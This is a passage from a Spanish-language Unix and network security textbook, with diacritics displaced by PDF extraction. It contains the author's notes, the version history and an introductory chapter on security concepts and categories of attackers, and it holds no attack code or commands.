Interfaz gr´fico de Nessus. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 383 a
- 14. xii ´ INDICE DE FIGURAS
- 15. ´ Indice de Tablas 4.1 Atributos de los archivos en ext2fs. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56 7.1 Comparaci´n de diferentes medios de o almacenamiento secundario. . . . . . . . . . . 105 7.2 Opciones de la orden dump . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106 7.3 Opciones de la orden restore . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107 7.4 Opciones de la orden tar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109 7.5 Opciones de la orden cpio. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111 8.1 Comparaci´n de m´todos biom´tricos. . . . . . . . . . . . . . . . . . . . . . . . . . . 121 o e e 8.2 C´digos de caracteres para el envejecimiento de contrase˜as. . . . . . . . . . . . . . . 132 o n 12.1 Privilegios de grupo en HP-UX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 202 18.1 Algunos puertos a monitorizar en un firewall . . . . . . . . . . . . . . . . . . . . . . 327 19.1 Abreviaturas utilizadas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 343 20.1 Tableau Vig`nere . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 355 e
- 16. xiv ´ INDICE DE TABLAS
- 17. Notas del autor El mundo de la seguridad inform´tica es demasiado amplio y complejo como para ser tratado ex- a haustivamente en ning´n trabajo, mucho menos en uno tan simple como este; aqu´ unicamente u ı ´ he intentado resumir una visi´n global de diferentes aspectos relacionados con la seguridad, espe- o cialmente con Unix y redes de computadores (estas ultimas tan de moda hoy en d´ . . Unix por ´ ıa. desgracia no tanto). Este trabajo est´ casi completamente extra´ de mi proyecto final de carrera, a ıdo que estudiaba la seguridad en los sistemas Unix y la red de la Universidad Polit´cnica de Valencia e (UPV), de forma que si aparece alguna referencia a ‘nuestra red’ o ‘nuestros equipos’ – aunque he intentado eliminar todos los ejemplos y comentarios relativos a UPV, por motivos obvios – ya sabemos de qu´ se trata. A pesar de haberlo revisado bastantes veces (lo bueno de no tener vida e social es que uno tiene mucho tiempo para leer ;-), evidentemente existir´n errores y faltar´n datos a a que podr´ haber aparecido, por lo que agradecer´ cualquier sugerencia o cr´ ıan e ıtica (constructiva, las destructivas directamente a /dev/null) que se me quiera hacer. Para ponerse en contacto conmigo se puede utilizar la direcci´n de correo electr´nico que utilizo habitualmente: toni@aiind.upv.es. o o Durante la realizaci´n de este proyecto ni se han maltratado animales ni se han utilizado pro- o ductos Microsoft; personalmente, siempre he considerado rid´ ıculo hablar de seguridad en Unix – incluso de seguridad en general – y hacerlo utilizando productos de una compa˜´ que tantas veces nıa ha demostrado su desinter´s por la tecnolog´ frente a su inter´s por el marketing. El trabajo entero e ıa e ha sido creado sobre diversos clones de Unix (principalmente Solaris y Linux, y en menor medida HP-UX, BSD/OS, IRIX, AIX e incluso Minix). El texto ha sido escrito ´ ıntegramente con vi (vi es EL editor, el resto de editores no son vi ;-) y compuesto con L TEX, de Leslie Lamport; realmente, A algunos fragmentos han sido extra´ ıdos de documentos que hice hace tiempo con troff (s´ troff), ı, de Joe Ossanna y Brian Kernighan, transformados a L TEX mediante tr2tex, de Kamal Al–Yahya, A y retocados con algo de paciencia. Para las figuras simples he utilizado el lenguaje PIC, tambi´n de e Brian Kernighan, y para las que son m´s complejas xfig. La captura de alguna pantalla se ha he- a cho con xwd y gimp, y el retoque y transformaci´n de im´genes con este ultimo junto a xv y xpaint. o a ´ Quiero agradecer desde aqu´ la colaboraci´n desinteresada de algunas personas que han hecho ı o posible este trabajo (m´s concretamente, que hicieron posible mi proyecto final de carrera): Pe- a dro L´pez (Departamento de Inform´tica de Sistemas y Computadores, UPV), Jon Ander G´mez o a o (Departamento de Sistemas Inform´ticos y Computaci´n, UPV), Vicent Benet (Centro de C´lculo, a o a UPV), Jos´ Manuel Pasamar (Centro de C´lculo, UPV) y Albert Ortiz (Universitat Polit`cnica de e a e Catalunya). Y por supuesto a mi director, Ismael Ripoll (Departamento de Inform´tica de Sistemas a y Computadores, UPV). Tras publicar la versi´n 1.0 de este trabajo, algunos de los primeros comentarios que se me han o hecho trataban sobre los posibles problemas legales derivados de la falta de una licencia para el documento; desconozco hasta qu´ punto esos problemas son reales, pero de cualquier forma para e tratar de evitarlos he decidido adoptar la Open Publication License como formato de licencia bajo la que distribuir mi trabajo, al menos de forma temporal. Eso b´sicamente implica (en castel- a lano plano) que puedes imprimir el documento, leerlo, fotocopiarlo, regalarlo o similares, pero no venderlo; este trabajo es gratuito y pretendo que lo siga siendo. Si alguien lo encuentra util, que ´ me apoye moralmente con un e-mail :), y si alguien lo encuentra muy util (lo dudo) que destine el ´ dinero que crea que pagar´ por esto a cosas m´s utiles. ¿Sab´ que cada minuto mueren de hambre ıa a ´ ıas aproximadamente doce ni˜os en el tercer mundo? En el tiempo que te puede costar leer estas notas n con un m´ ınimo de inter´s habr´n muerto unos veinticinco; mientras que nosotros nos preocupamos e a
- 18. 2 NOTAS DEL AUTOR intentando proteger nuestros sistemas, hay millones de personas que no pueden perder el tiempo en esas cosas: est´n demasiado ocupadas intentando sobrevivir. a Ah, por ultimo, ser´ imperdonable no dar las gracias a la gente que ha le´ este trabajo y me ha ´ ıa ıdo informado de erratas que hab´ en ´l; he intentado corregir todos los fallos encontrados, pero a´n ıa e u habr´ errores, por lo que repito lo que dec´ al principio: todos los comentarios constructivos son a ıa siempre bienvenidos. Debo agradecer especialmente a David Cerezo el inter´s que demostr´ en las e o versiones iniciales de este documento, as´ como todas las observaciones que sobre las mismas me ı hizo llegar. NOTAS A LA VERSION 2.0 ´ No hay mucho que a˜adir a lo dicho hace casi dos a˜os; y es que las cosas apenas han cambiado: n n el panorama en Espa˜a – en cuanto a seguridad se refiere – sigue siendo desolador, las empresas n tecnol´gicas caen d´ a d´ la investigaci´n en materias de seguridad (si exceptuamos la Crip- o ıa ıa, o tograf´ es nula, y poco m´s. S´lo dar las gracias una vez m´s a todos los que han publicado ıa) a o a o se han hecho eco de este documento (Kript´polis, HispaLinux, IrisCERT, Hispasec, Asociaci´n o o de Internautas. . . ) y tambi´n a toda la gente que lo ha leido (al menos en parte ;-) y ha perdido e unos minutos escribi´ndome un e–mail con alg´n comentario; realmente es algo que se agradece, y e u aunque tarde en responder al correo, siempre trato de contestar. Como algunos de los comentarios acerca del documento que me han llegado hablaban del ‘ex- cesivo’ tama˜o del mismo, en esta nueva versi´n he cambiado la forma de generar el fichero PDF; n o he convertido todas las im´genes a formato PNG y despu´s utilizado pdflatex para compilar los a e ficheros, habiendo modificado previamente el c´digo mediante un sencillo script. Aunque a´n ocupa o u bastante, hay que tener en cuenta que estamos hablando de unas 500 p´ginas de documento. . . a TODO Igual que hace casi dos a˜os, sigue en pie la intenci´n de crear cap´ n o ıtulos nuevos (las redes privadas virtuales es mi principal tema pendiente) y de comentar la seguridad de mecanismos como DNS, RPC, NIS o NFS. . . espero disponer de algo m´s de tiempo para poder hacerlo. Quiero tambi´n a e escribir m´s acerca de la detecci´n de intrusos, no s´ si en este documento o en uno aparte, ya a o e que es quiz´s el tema que m´s me interesa y en lo que m´s trabajo actualmente. Y finalmente, en a a a mi lista de cosas para hacer, pone dormir (s´ lo pone en negrita) como algo que tambi´n queda ı, e pendiente :) HISTORY Versi´n 1.0 (Julio´00): Documento inicial. o Versi´n 1.1 (Agosto´00): Peque˜as correcciones e inclusi´n de la Open Publication License. o n o Versi´n 1.2 (Septiembre´00): M´s correcciones. Ampliaci´n del cap´ o a o ıtulo dedicado a servicios de red. Versi´n 2.0 (Mayo´02): Cap´ o ıtulos dedicados a los sistemas de detecci´n de intrusos y a los ataques o remotos contra un sistema. Sustituci´n del cap´ o ıtulo referente al n´cleo de algunos sistemas Unix u por varios cap´ ıtulos que tratan particularidades de diferentes clones con mayor detalle. Desglose del cap´ıtulo dedicado a los sistemas cortafuegos en dos, uno te´rico y otro con diferentes casos o pr´cticos de estudio. Ampliaci´n de los cap´ a o ıtulos dedicados a autenticaci´n de usuarios (PAM) y o a criptograf´ (funciones resumen). Ampliaci´n del cap´ ıa o ıtulo dedicado a pol´ıticas y normativa, que ahora pasa a denominarse ‘Gesti´n de la seguridad’. o Versi´n 2.1 (Julio´02): Alguna correcci´n m´s e inclusi´n de la GNU Free Documentation License o o a o (implica que el c´digo fuente en TEX pasa a ser libre). o
- 19. Cap´ ıtulo 1 Introducci´n y conceptos previos o 1.1 Introducci´n o Hasta finales de 1988 muy poca gente tomaba en serio el tema de la seguridad en redes de computa- dores de prop´sito general. Mientras que por una parte Internet iba creciendo exponencialmente con o redes importantes que se adher´ a ella, como bitnet o hepnet, por otra el auge de la inform´tica ıan a de consumo (hasta la d´cada de los ochenta muy poca gente se pod´ permitir un ordenador y un e ıa m´dem en casa) unido a factores menos t´cnicos (como la pel´ o e ıcula Juegos de Guerra, de 1983) iba produciendo un aumento espectacular en el n´mero de piratas inform´ticos. u a Sin embargo, el 22 de noviembre de 1988 Robert T. Morris protagoniz´ el primer gran incidente de o la seguridad inform´tica: uno de sus programas se convirti´ en el famoso worm o gusano de Inter- a o net. Miles de ordenadores conectados a la red se vieron inutilizados durante d´ y las p´rdidas se ıas, e estiman en millones de d´lares. Desde ese momento el tema de la seguridad en sistemas operativos o y redes ha sido un factor a tener muy en cuenta por cualquier responsable o administrador de sistemas inform´ticos. Poco despu´s de este incidente, y a la vista de los potenciales peligros que a e pod´ entra˜ar un fallo o un ataque a los sistemas inform´ticos estadounidenses (en general, a los ıa n a sistemas de cualquier pa´ la agencia darpa (Defense Advanced Research Projects Agency) cre´ el ıs) o cert (Computer Emergency Response Team), un grupo formado en su mayor parte por voluntarios cualificados de la comunidad inform´tica, cuyo objetivo principal es facilitar una respuesta r´pida a a a los problemas de seguridad que afecten a hosts de Internet ([Den90]). Han pasado m´s de diez a˜os desde la creaci´n del primer cert, y cada d´ se hace patente la a n o ıa preocupaci´n por los temas relativos a la seguridad en la red y sus equipos, y tambi´n se hace o e patente la necesidad de esta seguridad. Los piratas de anta˜o casi han desaparecido, dando paso a n nuevas generaciones de intrusos que forman grupos como Chaos Computer Club o Legion of Doom, organizan encuentros como el espa˜ol Iberhack, y editan revistas o zines electr´nicos (2600: The n o Hacker’s Quartely o Phrack son quiz´s las m´s conocidas, pero no las unicas). Todo esto con un a a ´ objetivo principal: compartir conocimientos. Si hace unos a˜os cualquiera que quisiera adentrarse n en el mundo underground casi no ten´ m´s remedio que conectar a alguna BBS donde se tratara ıa a el tema, generalmente con una cantidad de informaci´n muy limitada, hoy en d´ tiene a su dis- o ıa posici´n gigabytes de informaci´n electr´nica publicada en Internet; cualquier aprendiz de pirata o o o puede conectarse a un servidor web, descargar un par de programas y ejecutarlos contra un servidor desprotegido... con un poco de (mala) suerte, esa misma persona puede conseguir un control total sobre un servidor Unix de varios millones de pesetas, probablemente desde su PC con Windows 98 y sin saber nada sobre Unix. De la misma forma que en su d´ Juegos de Guerra cre´ una nueva ıa o generaci´n de piratas, en la segunda mitad de los noventa pel´ o ıculas como The Net, Hackers o Los Corsarios del Chip han creado otra generaci´n, en general mucho menos peligrosa que la anterior, o pero cuanto menos, preocupante: aunque sin grandes conocimientos t´cnicos, tienen a su disposi- e ci´n multitud de programas y documentos sobre seguridad (algo que los piratas de los ochenta o apenas pod´ imaginar), adem´s de ordenadores potentes y conexiones a Internet baratas. Por si ıan a esto fuera poco, se ven envalentonados a trav´s de sistemas de conversaci´n como el IRC (Internet e o Relay Chat), donde en canales como #hack o #hackers presumen de sus logros ante sus colegas.
- 20. 2 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS 1.2 Justificaci´n y objetivos o A la vista de lo comentado en el primer punto, parece claro que la seguridad de los equipos Unix ha de ser algo a considerar en cualquier red. Diariamente por cualquiera de ellas circulan todo tipo de datos, entre ellos muchos que se podr´ catalogar como confidenciales (n´minas, expedientes, ıan o presupuestos. . . ) o al menos como privados (correo electr´nico, proyectos de investigaci´n, art´ o o ıculos a punto de ser publicados. . . ). Independientemente de la etiqueta que cada usuario de la red quiera colgarle a sus datos, parece claro que un fallo de seguridad de un equipo Unix o de la propia red no beneficia a nadie, y mucho menos a la imagen de nuestra organizaci´n. Y ya no se trata simple- o mente de una cuesti´n de imagen: seg´n el Computer Security Institute, en su encuesta de 1998, las o u p´rdidas econ´micas ocasionadas por delitos relacionados con nuevas tecnolog´ (principalmente e o ıas accesos internos no autorizados) s´lo en Estados Unidos ascienden anualmente a m´s 20.000 millones o a de pesetas, cifra que cada a˜o se incrementa en m´s del 35%; los delitos inform´ticos en general n a a aumentan tambi´n de forma espectacular a˜o tras a˜o, alcanzando incluso cotas del 800% ([Caj82]). e n n A lo largo de este trabajo se va a intentar hacer un repaso de los puntos habituales referentes a seguridad en Unix y redes de computadores (problemas, ataques, defensas. . . ), aplicando el estu- dio a entornos con requisitos de seguridad medios (universidades, empresas, proveedores de acceso a Internet. . . ); de esta forma se ofrecer´ una perspectiva general de la seguridad en entornos Unix, el a funcionamiento de sus mecanismos, y su correcta utilizaci´n. Tambi´n se hablar´, en menor medi- o e a da, sobre temas menos t´cnicos pero que tambi´n afectan directamente a la seguridad inform´tica, e e a como puedan ser el problema del personal o la legislaci´n vigente. o El objetivo final de este proyecto ser´ marcar unas pautas para conseguir un nivel de seguri- ıa dad aceptable en los sistemas Unix conectados en cualquier red, entendiendo por ‘aceptable’ un nivel de protecci´n suficiente para que la mayor´ de potenciales intrusos interesados en los equipos o ıa de nuestra organizaci´n fracasara ante un ataque contra los mismos. Obviamente, es imposible o garantizar una plena seguridad ante cualquier atacante: seguramente un pirata experimentado, con el tiempo suficiente, pagado, o simplemente muy interesado en uno de nuestros equipos, no tendr´ ıa muchos problemas en acceder a ´l. Este hecho, aunque preocupante, es casi inevitable; lo evitable e es que cualquier persona sea capaz de atacar con ´xito un equipo simplemente por haber visto una e pel´ıcula, descargado un par de p´ginas web y ejecutado un programa que ni ha hecho ni entiende. a Por supuesto, este proyecto no pretende ser en ning´n momento una ayuda para la gente que est´ u e interesada en atacar m´quinas Unix o subredes completas, ni tampoco una invitaci´n a hacerlo. a o Aunque por su naturaleza la informaci´n aqu´ presentada puede ser utilizada para da˜ar sistemas o ı n inform´ticos (como cualquier informaci´n sobre seguridad inform´tica), no es ese su prop´sito sino, a o a o como hemos dicho, incrementar la seguridad de los sistemas Unix y las redes en las que ´stos se e ubican. Por tanto va a intentar estar escrito de forma que no se pueda utilizar f´cilmente como a una ‘receta de cocina’ para crackers; si alguien quiere un documento sobre c´mo atacar sistemas, o puede dejar de leer este trabajo y buscar en Internet informaci´n sobre ese tema. Conseguir romper o la seguridad de un sistema de forma no autorizada es, en la mayor´ de los casos, un s´ ıa ımbolo de inmadurez, y por supuesto ni denota inteligencia ni unos excesivos conocimientos: si alguien se considera superior por acceder ilegalmente a una m´quina utilizando un programa que ni ha he- a cho ni es capaz de entender, que revise sus principios, y si tras hacerlo a´n piensa lo mismo, que u dedique su inteligencia y sus conocimientos a tareas que ayuden a incrementar la seguridad, como la construcci´n de sistemas de autenticaci´n fiables y baratos o el dise˜o de nuevos criptosistemas o o n seguros. Eso es seguridad inform´tica, y no lo que habitualmente se nos quiere hacer creer: la a seguridad inform´tica no consiste en conocerse todos los bugs de un sistema operativo, con sus a correspondientes exploits ni en jugar a superjakers en canales de IRC. Lamentablemente, este es el panorama de la seguridad m´s visible en Espa˜a en la actualidad; esperemos que alg´n d´ cambie. a n u ıa 1.3 ¿Qu´ es seguridad? e Podemos entender como seguridad una caracter´ ıstica de cualquier sistema (inform´tico o no) que a nos indica que ese sistema est´ libre de todo peligro, da˜o o riesgo, y que es, en cierta manera, a n
- 21. ´ 1.4. ¿QUE QUEREMOS PROTEGER? 3 infalible. Como esta caracter´ ıstica, particularizando para el caso de sistemas operativos o redes de computadores, es muy dif´ de conseguir (seg´n la mayor´ de expertos, imposible), se suaviza ıcil u ıa la definici´n de seguridad y se pasa a hablar de fiabilidad (probabilidad de que un sistema se o comporte tal y como se espera de ´l) m´s que de seguridad; por tanto, se habla de sistemas fiables e a en lugar de hacerlo de sistemas seguros. A grandes rasgos se entiende que mantener un sistema seguro (o fiable) consiste b´sicamente en a garantizar tres aspectos ([Pfl97]): confidencialidad, integridad y disponibilidad. Algunos estudios ([Lap91],[Olo92]. . . ) integran la seguridad dentro de una propiedad m´s general de los sistemas, la a confiabilidad, entendida como el nivel de calidad del servicio ofrecido. Consideran la disponibili- dad como un aspecto al mismo nivel que la seguridad y no como parte de ella, por lo que dividen esta ultima en s´lo las dos facetas restantes, confidencialidad e integridad. En este trabajo no ´ o seguiremos esa corriente por considerarla minoritaria. ¿Qu´ implica cada uno de los tres aspectos de los que hablamos? La confidencialidad nos dice e que los objetos de un sistema han de ser accedidos unicamente por elementos autorizados a el- ´ lo, y que esos elementos autorizados no van a convertir esa informaci´n en disponible para otras o entidades; la integridad significa que los objetos s´lo pueden ser modificados1 por elementos au- o torizados, y de una manera controlada, y la disponibilidad indica que los objetos del sistema tienen que permanecer accesibles a elementos autorizados; es el contrario de la negaci´n de ser- o vicio. Generalmente tienen que existir los tres aspectos descritos para que haya seguridad: un sistema Unix puede conseguir confidencialidad para un determinado fichero haciendo que ning´n u usuario (ni siquiera el root) pueda leerlo, pero este mecanismo no proporciona disponibilidad alguna. Dependiendo del entorno en que un sistema Unix trabaje, a sus responsables les interesar´ dar a prioridad a un cierto aspecto de la seguridad. Por ejemplo, en un sistema militar se antepondr´ laa confidencialidad de los datos almacenados o transmitidos sobre su disponibilidad: seguramente, es preferible que alguien borre informaci´n confidencial (que se podr´ recuperar despu´s desde una o ıa e cinta de backup) a que ese mismo atacante pueda leerla, o a que esa informaci´n est´ disponible en o e un instante dado para los usuarios autorizados. En cambio, en un servidor NFS de un departamento se premiar´ la disponibilidad frente a la confidencialidad: importa poco que un atacante lea una a unidad, pero que esa misma unidad no sea le´ por usuarios autorizados va a suponer una p´rdida ıda e de tiempo y dinero. En un entorno bancario, la faceta que m´s ha de preocupar a los responsables a del sistema es la integridad de los datos, frente a su disponibilidad o su confidencialidad: es menos grave2 que un usuario consiga leer el saldo de otro que el hecho de que ese usuario pueda modificarlo. 1.4 ¿Qu´ queremos proteger? e Los tres elementos principales a proteger en cualquier sistema inform´tico son el software, el hard- a ware y los datos. Por hardware entendemos el conjunto formado por todos los elementos f´ ısicos de un sistema inform´tico, como CPUs, terminales, cableado, medios de almacenamiento secundario a (cintas, CD-ROMs, diskettes. . . ) o tarjetas de red. Por software entendemos el conjunto de pro- gramas l´gicos que hacen funcional al hardware, tanto sistemas operativos como aplicaciones, y por o datos el conjunto de informaci´n l´gica que manejan el software y el hardware, como por ejemplo o o paquetes que circulan por un cable de red o entradas de una base de datos. Aunque generalmente en las auditor´ de seguridad se habla de un cuarto elemento a proteger, los fungibles (elementos ıas que se gastan o desgastan con el uso cont´ ınuo, como papel de impresora, t´ners, cintas magn´ticas, o e diskettes. . . ), aqu´ no consideraremos la seguridad de estos elementos por ser externos al sistema ı Unix. Habitualmente los datos constituyen el principal elemento de los tres a proteger, ya que es el m´s amenazado y seguramente el m´s dif´ de recuperar3 : con toda seguridad una m´quina Unix a a ıcil a est´ ubicada en un lugar de acceso f´ a ısico restringido, o al menos controlado, y adem´s en caso de a 1 Por modificar entendemos escribir, cambiar, cambiar el estado, borrar y crear. 2 Aunque por supuesto no es en absoluto recomendable. 3 Quiz´s no el m´s caro, pero s´ el m´s dif´ a a ı a ıcil.
- 22. 4 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS Figura 1.1: Flujo normal de informaci´n entre emisor y receptor y posibles amenazas: (a) inter- o rupci´n, (b) interceptaci´n, (c) modificaci´n y (d) fabricaci´n. o o o o p´rdida de una aplicaci´n (o un programa de sistema, o el propio n´cleo de Unix) este software se e o u puede restaurar sin problemas desde su medio original (por ejemplo, el CD-ROM con el sistema operativo que se utiliz´ para su instalaci´n). Sin embargo, en caso de p´rdida de una base de datos o o e o de un proyecto de un usuario, no tenemos un medio ‘original’ desde el que restaurar: hemos de pasar obligatoriamente por un sistema de copias de seguridad, y a menos que la pol´ ıtica de copias sea muy estricta, es dif´ devolver los datos al estado en que se encontraban antes de la p´rdida. ıcil e Contra cualquiera de los tres elementos descritos anteriormente (pero principalmente sobre los datos) se pueden realizar multitud de ataques o, dicho de otra forma, est´n expuestos a diferentes a amenazas. Generalmente, la taxonom´ m´s elemental de estas amenazas las divide en cuatro ıa a grandes grupos: interrupci´n, interceptaci´n, modificaci´n y fabricaci´n. Un ataque se clasifica co- o o o o mo interrupci´n si hace que un objeto del sistema se pierda, quede inutilizable o no disponible. Se o tratar´ de una interceptaci´n si un elemento no autorizado consigue un acceso a un determinado a o objeto del sistema, y de una modificaci´n si adem´s de conseguir el acceso consigue modificar el o a objeto; algunos autores ([Olo92]) consideran un caso especial de la modificaci´n: la destrucci´n, o o entendi´ndola como una modificaci´n que inutiliza al objeto afectado. Por ultimo, se dice que un e o ´ ataque es una fabricaci´n si se trata de una modificaci´n destinada a conseguir un objeto similar o o al atacado de forma que sea dif´ distinguir entre el objeto original y el ‘fabricado’. En la figura ıcil 1.1 se muestran estos tipos de ataque de una forma gr´fica. a 1.5 ¿De qu´ nos queremos proteger? e En la gran mayor´ de publicaciones relativas a la seguridad inform´tica en general, y especialmente ıa a en las relativas a seguridad en Unix, tarde o temprano se intenta clasificar en grupos a los posibles elementos que pueden atacar nuestro sistema. Con frecuencia, especialmente en las obras menos t´cnicas y m´s orientadas a otros aspectos de la seguridad ([ISV95], [Mey89]. . . ), se suele identificar e a
- 23. ´ 1.5. ¿DE QUE NOS QUEREMOS PROTEGER? 5 a los atacantes unicamente como personas; esto tiene sentido si hablamos por ejemplo de respon- ´ sabilidades por un delito inform´tico. Pero en este trabajo es preferible hablar de ‘elementos’ y no a de personas: aunque a veces lo olvidemos, nuestro sistema puede verse perjudicado por m´ltiples u entidades aparte de humanos, como por ejemplo programas, cat´strofes naturales o, por qu´ no, a e fuerzas extraterrestres; si un usuario pierde un trabajo importante a causa de un ataque, poco le importar´ que haya sido un intruso, un gusano, un simple error del administrador, o un alien que a haya abducido un disco duro. . . A continuaci´n se presenta una relaci´n de los elementos que potencialmente pueden amenazar o o a nuestro sistema. No pretende ser exhaustiva, ni por supuesto una taxonom´ formal (para este ıa tipo de estudios, se recomienda consultar [LBMC94] o [AKS96]); simplemente trata de proporcionar una idea acerca de qu´ o qui´n amenaza un sistema Unix. A lo largo de este proyecto se ahondar´ e e a en aspectos de algunos de los elementos presentados aqu´ ı. 1.5.1 Personas No podernos enga˜arnos: la mayor´ de ataques a nuestro sistema van a provenir en ultima ins- n ıa ´ tancia de personas que, intencionada o inintencionadamente, pueden causarnos enormes p´rdidas. e Generalmente se tratar´ de piratas que intentan conseguir el m´ximo nivel de privilegio posible a a aprovechando alguno (o algunos) de los riesgos l´gicos de los que hablaremos a continuaci´n, es- o o pecialmente agujeros del software. Pero con demasiada frecuencia se suele olvidar que los piratas ‘cl´sicos’ no son los unicos que amenazan nuestros equipos: es especialmente preocupante que a ´ mientras que hoy en d´ cualquier administrador m´ ıa ınimamente preocupado por la seguridad va a conseguir un sistema relativamente fiable de una forma l´gica (permaneciendo atento a vulnerabili- o dades de su software, restringiendo servicios, utilizando cifrado de datos. . . ), pocos administradores tienen en cuenta factores como la ingenier´ social o el basureo a la hora de dise˜ar una pol´ ıa n ıtica de seguridad. Aqu´ se describen brevemente los diferentes tipos de personas que de una u otra forma pueden ı constituir un riesgo para nuestros sistemas; generalmente se dividen en dos grandes grupos: los atacantes pasivos, aquellos que fisgonean por el sistema pero no lo modifican -o destruyen-, y los activos, aquellos que da˜an el objetivo atacado, o lo modifican en su favor. Generalmente los n curiosos y los crackers realizan ataques pasivos (que se pueden convertir en activos), mientras que los terroristas y ex-empleados realizan ataques activos puros; los intrusos remunerados suelen ser atacantes pasivos si nuestra red o equipo no es su objetivo, y activos en caso contrario, y el personal realiza ambos tipos indistintamente, dependiendo de la situaci´n concreta. o • Personal Las amenazas a la seguridad de un sistema provenientes del personal de la propia organizaci´n o rara vez son tomadas en cuenta; se presupone un entorno de confianza donde a veces no existe, por lo que se pasa por alto el hecho de que casi cualquier persona de la organizaci´n, incluso el o personal ajeno a la infraestructura inform´tica (secretariado, personal de seguridad, personal a de limpieza y mantenimiento. . . ) puede comprometer la seguridad de los equipos. Aunque los ataques pueden ser intencionados (en cuyo caso sus efectos son extremadamente da˜inos, recordemos que nadie mejor que el propio personal de la organizaci´n conoce mejor n o los sistemas. . . y sus debilidades), lo normal es que m´s que de ataques se trate de accidentes a causados por un error o por desconocimiento4 de las normas b´sicas de seguridad: un empleado a de mantenimiento que corta el suministro el´ctrico para hacer una reparaci´n puede llegar a e o ser tan peligroso como el m´s experto de los administradores que se equivoca al teclear una a orden y borra todos los sistemas de ficheros; y en el primer caso, el ‘atacante’ ni siquiera ha de tener acceso l´gico (¡ni f´ o ısico!) a los equipos, ni conocer nada sobre seguridad en Unix. Hemos de recordar siempre que decir ‘No lo hice a prop´sito’ no va a servir para recuperar o datos perdidos ni para restaurar un hardware da˜ado o robado. n • Ex-empleados Otro gran grupo de personas potencialmente interesadas en atacar nuestro sistema son los 4O inexistencia.
- 24. 6 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS antiguos empleados del mismo, especialmente los que no abandonaron el entorno por voluntad propia (y en el caso de redes de empresas, los que pasaron a la competencia). Generalmente, se trata de personas descontentas con la organizaci´n que pueden aprovechar debilidades de o un sistema que conocen perfectamente para da˜arlo como venganza por alg´n hecho que no n u consideran justo: amparados en excusas como ‘No me han pagado lo que me deben’ o ‘Es una gran universidad, se lo pueden permitir’ pueden insertar troyanos, bombas l´gicas, virus. . . o o simplemente conectarse al sistema como si a´n trabajaran para la organizaci´n (muchas veces u o se mantienen las cuentas abiertas incluso meses despu´s de abandonar la universidad o empre- e sa), conseguir el privilegio necesario, y da˜arlo de la forma que deseen, incluso chantajeando n a sus ex-compa˜eros o ex-jefes. n • Curiosos Junto con los crackers, los curiosos son los atacantes m´s habituales de sistemas Unix en a redes de I+D. Recordemos que los equipos est´n trabajando en entornos donde se forma a a futuros profesionales de la inform´tica y las telecomunicaciones (gente que a priori tiene a inter´s por las nuevas tecnolog´ e ıas), y recordemos tambi´n que las personas suelen ser curiosas e por naturaleza; esta combinaci´n produce una avalancha de estudiantes o personal intentando o conseguir mayor privilegio del que tienen o intentando acceder a sistemas a los que oficialmente no tienen acceso. Y en la mayor´ de ocasiones esto se hace simplemente para leer el correo ıa de un amigo, enterarse de cu´nto cobra un compa˜ero, copiar un trabajo o comprobar que es a n posible romper la seguridad de un sistema concreto. Aunque en la mayor´ de situaciones se ıa trata de ataques no destructivos (a excepci´n del borrado de huellas para evitar la detecci´n), o o parece claro que no benefician en absoluto al entorno de fiabilidad que podamos generar en un determinado sistema. • Crackers Los entornos de seguridad media son un objetivo t´ ıpico de los intrusos, ya sea para fisgonear, para utilizarlas como enlace hacia otras redes o simplemente por diversi´n. Por un lado, o son redes generalmente abiertas, y la seguridad no es un factor tenido muy en cuenta en ellas; por otro, el gran n´mero y variedad de sistemas Unix conectados a estas redes provoca, u casi por simple probabilidad, que al menos algunos de sus equipos (cuando no la mayor´ ıa) sean vulnerables a problemas conocidos de antemano. De esta forma un atacante s´lo ha o de utilizar un esc´ner de seguridad contra el dominio completo y luego atacar mediante un a simple exploit los equipos que presentan vulnerabilidades; esto convierte a las redes de I+D, a las de empresas, o a las de ISPs en un objetivo f´cil y apetecible para piratas con cualquier a nivel de conocimientos, desde los m´s novatos (y a veces m´s peligrosos) hasta los expertos, a a que pueden utilizar toda la red para probar nuevos ataques o como nodo intermedio en un ataque a otros organismos, con el consiguiente deterioro de imagen (y a veces de presupuesto) que supone para una universidad ser, sin desearlo, un apoyo a los piratas que atacan sistemas te´ricamente m´s protegidos, como los militares. o a • Terroristas Por ‘terroristas’ no debemos entender simplemente a los que se dedican a poner bombas o quemar autobuses; bajo esta definici´n se engloba a cualquier persona que ataca al sistema o simplemente por causar alg´n tipo de da˜o en ´l. Por ejemplo, alguien puede intentar borrar u n e las bases de datos de un partido pol´ıtico enemigo o destruir los sistemas de ficheros de un servidor que alberga p´ginas web de alg´n grupo religioso; en el caso de redes de I+D, t´ a u ıpicos ataques son la destrucci´n de sistemas de pr´cticas o la modificaci´n de p´ginas web de alg´n o a o a u departamento o de ciertos profesores, generalmente por parte de alumnos descontentos. • Intrusos remunerados Este es el grupo de atacantes de un sistema m´s peligroso, aunque por fortuna el menos a habitual en redes normales; suele afectar m´s a las grandes – muy grandes – empresas o a a organismos de defensa. Se trata de piratas con gran experiencia en problemas de seguridad y un amplio conocimiento del sistema, que son pagados por una tercera parte5 generalmente para robar secretos (el nuevo dise˜o de un procesador, una base de datos de clientes, informaci´n n o confidencial sobre las posiciones de sat´lites esp´ . . ) o simplemente para da˜ar la imagen e ıa. n 5 Si los pagara la organizaci´n propietaria de los equipos hablar´ o ıamos de grupos Tigre.
